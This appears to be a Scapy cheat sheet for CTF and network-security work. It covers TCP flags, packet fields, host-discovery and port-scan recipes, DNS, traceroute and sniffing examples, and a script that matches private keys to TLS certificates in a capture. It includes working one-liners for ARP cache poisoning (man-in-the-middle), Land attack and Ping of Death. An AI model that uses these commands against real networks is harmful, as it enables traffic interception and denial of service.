1. TCP Control Flags
| Flag | Name | Function | Use Case |
|---|---|---|---|
| SYN | Synchronize | Establishes connection / Syncs sequence numbers | 3-way handshake start |
| ACK | Acknowledge | Confirms receipt of data/packets | Connection maintenance |
| FIN | Finish | Graceful connection termination | Closing session |
| RST | Reset | Immediate, forced connection termination | Error handling / Port closed |
| PSH | Push | Forces data to application layer immediately | Interactive sessions (SSH) |
| URG | Urgent | Marks data as priority | Out-of-band data |
[!INFO] Practical Insight: PSH vs. Buffering
- Kernel Mechanism: Linux typically buffers data to optimize throughput.
- PSH Action: Overrides buffer logic. In CTF/Traffic analysis, frequent PSH flags often indicate real-time command execution (e.g., Reverse Shell traffic).
2. Scapy Layer & Field Reference
IP Layer (IP)
src/dst: Source and Destination IP addresses.proto: Protocol number (TCP: 6, UDP: 17, ICMP: 1).ttl: Time to Live (hops).
Transport Layer (TCP / UDP)
sport/dport: Source and Destination ports.flags: TCP control bits (e.g.,S,SA,RA).seq/ack: Sequence and Acknowledgment numbers (TCP).load: Data payload (Raw or UDP).
Raw Layer (Raw)
The Raw layer contains unparsed binary data.
- Access:
pkt[Raw].load - Use: Efficient for binary pattern matching or extracting custom payloads.
3. Probing & Scanning Recipes
Host Discovery (Ping)
# ARP Ping (Local Network)ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)
# TCP SYN Ping (Bypass ICMP filters)ans, unans = sr(IP(dst="192.168.1.0/24")/TCP(dport=80, flags="S"))
# UDP Ping (Relies on ICMP Port Unreachable)ans, unans = sr(IP(dst="192.168.1.*")/UDP(dport=0))Advanced Port Scanning
# ACK Scan (Firewall Rule Detection)# Response = Port Unfiltered; No Response = Filteredans, unans = sr(IP(dst="target")/TCP(dport=[80, 443], flags="A"))
# Xmas Scan (FIN/PSH/URG)# RST Response = Port Closed; No Response = Open|Filteredans, unans = sr(IP(dst="target")/TCP(dport=666, flags="FPU"))4. Network Security Testing
ARP Cache Poisoning (MitM)
# Manual ARP Poisoningsend(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), loop=1, inter=10)
# Scapy Built-in Helperarp_mitm("target_ip", "gateway_ip")Protocol Forgery
- Land Attack: Source and Destination set to target IP.
send(IP(src=target, dst=target)/TCP(sport=135, dport=135))
- Ping of Death: Fragmented oversized ICMP packets.
send(fragment(IP(dst=target)/ICMP()/("X"*60000)))
5. Service Interaction & Sniffing
DNS Queries
# Query MX Recordans = sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com", qtype="MX")))Advanced Traceroute
# TCP SYN Tracerouteans, unans = traceroute("target.com", dport=443, flags="S")
# DNS/UDP Tracerouteans, unans = traceroute("4.2.2.1", l4=UDP()/DNS(qd=DNSQR(qname="example.com")))Sniffing
# Sniff 802.11 Beacon frames (Requires Monitor Mode)sniff(iface="wlan0mon", prn=lambda x: x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%}"))6. TLS Forensics: Matching Keys to Traffic
When analyzing encrypted PCAPs, you may need to find which private key (from a collection) matches a certificate found in the traffic.
#!/usr/bin/env python3import globimport osfrom cryptography import x509from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.primitives.asymmetric import rsafrom scapy.all import *from scapy.layers.tls.all import TLSfrom scapy.layers.tls.cert import Certfrom scapy.layers.tls.handshake import TLSCertificate
# ConfigurationPCAP_FILE = "encrypted.pcap"KEYS_DIR = "./keys/"
load_layer("tls")
def extract_certs_from_pcap(pcap_path): """Extracts TLS certificates from a PCAP file."""57 collapsed lines
packets = rdpcap(pcap_path) cert_list = []
for pkt in packets: if pkt.haslayer(Raw): raw = pkt[Raw].load try: tls_parsed = TLS(raw) tls_cert_layer = tls_parsed.getlayer(TLSCertificate) if tls_cert_layer: for _, x509_wrapper in tls_cert_layer.certs: cert_list.append(x509_wrapper) print(f"[+] Extracted Certificate: {x509_wrapper.subject}") except Exception: continue return cert_list
def get_rsa_modulus(cert_obj): """Extracts the RSA modulus from a Scapy Cert object.""" try: if not isinstance(cert_obj, Cert): return None pubkey_bytes = cert_obj.pubKey.der public_key = serialization.load_der_public_key(pubkey_bytes)
if isinstance(public_key, rsa.RSAPublicKey): return public_key.public_numbers().n except Exception as e: print(f"[-] Error parsing public key: {e}") return None
def find_matching_key(target_modulus, keys_directory): """Finds a PEM private key in a directory matching the given modulus.""" print(f"[*] Searching for matching key in {keys_directory}...")
for key_file in glob.glob(os.path.join(keys_directory, "*")): try: with open(key_file, "rb") as f: private_key = serialization.load_pem_private_key( f.read(), password=None, backend=default_backend() )
if isinstance(private_key, rsa.RSAPrivateKey): priv_modulus = private_key.private_numbers().public_numbers.n if priv_modulus == target_modulus: return key_file except Exception: continue return None
if __name__ == "__main__": certs = extract_certs_from_pcap(PCAP_FILE) if not certs: print("[-] No certificates found.") exit(1)
for cert in certs: modulus = get_rsa_modulus(cert) if modulus: match = find_matching_key(modulus, KEYS_DIR) if match: print(f"[!] BINGO! Matching key found: {match}") break else: print("[-] No matching keys found.")